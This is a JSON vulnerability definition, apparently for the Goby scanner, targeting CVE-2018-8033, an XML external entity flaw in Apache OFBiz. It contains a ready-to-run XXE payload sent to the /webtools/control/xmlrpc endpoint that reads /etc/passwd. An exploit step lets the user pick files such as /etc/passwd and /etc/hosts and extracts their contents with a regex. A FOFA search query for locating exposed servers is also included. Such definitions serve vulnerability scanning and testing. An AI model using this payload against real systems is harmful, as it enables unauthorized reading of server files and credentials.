{
  "Name": "Apache OFBiz XXE File Read (CVE-2018-8033)",
  "Description": "In Apache OFBiz 16.11.01 to 16.11.04, the OFBiz HTTP engine (org.apache.ofbiz.service.engine.HttpEngine.java) handles requests for HTTP services via the /webtools/control/httpService endpoint. Both POST and GET requests to the httpService endpoint may contain three parameters: serviceName, serviceMode, and serviceContext. The exploitation occurs by having DOCTYPEs pointing to external references that trigger a payload that returns secret information from the host.",
  "Product": "Apache-OFBiz",
  "Homepage": "https://ofbiz.apache.org/",
  "DisclosureDate": "2018-12-13",
  "Author": "itardc@163.com",
  "GifAddress": "https://raw.githubusercontent.com/gobysec/GobyVuls/master/Apache%20OFBiz/CVE-2018-8033/CVE-2018-8033.gif",
  "FofaQuery": "header=\"Set-Cookie: OFBiz.Visitor\"",
  "GobyQuery": "header=\"Set-Cookie: OFBiz.Visitor\"",
  "Level": "2",
  "Impact": "",
  "Recommendation": "",
  "References": [
    "https://lists.apache.org/thread.html/e8fb551e86e901932081f81ee9985bb72052b4d412f23d89b1282777@%3Cuser.ofbiz.apache.org%3E",
    "https://nvd.nist.gov/vuln/detail/CVE-2018-8033",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8033"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "file",
      "type": "createSelect",
      "value": "/etc/passwd,/etc/hosts",
      "show": ""
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "<?xml version=\"1.0\"?><!DOCTYPE x [<!ENTITY disclose SYSTEM \"file://///etc/passwd\">]><methodCall><methodName>&disclose;</methodName></methodCall>",
        "data_type": "text",
        "follow_redirect": false,
        "header": {"Content-Type": "application/xml"},
        "method": "POST",
        "uri": "/webtools/control/xmlrpc"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "root:x",
            "variable": "$body"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "text/xml",
            "variable": "$head"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "data": "<?xml version=\"1.0\"?><!DOCTYPE x [<!ENTITY disclose SYSTEM \"file:////{{{file}}}\">]><methodCall><methodName>&disclose;</methodName></methodCall>",
        "data_type": "text",
        "follow_redirect": false,
        "header": {"Content-Type": "application/xml"},
        "method": "POST",
        "uri": "/webtools/control/xmlrpc"
      },
      "SetVariable": [
        "output|lastbody|regex|(?s)No such service \\[(.*?)\\]</value>"
      ]
    }
  ],
  "Tags": ["fileread"],
  "CVEIDs": [
    "CVE-2018-8033"
  ],
  "CVSSScore": "7.5",
  "AttackSurfaces": {
    "Application": ["Apache-OFBiz"],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  },
  "Disable": false
}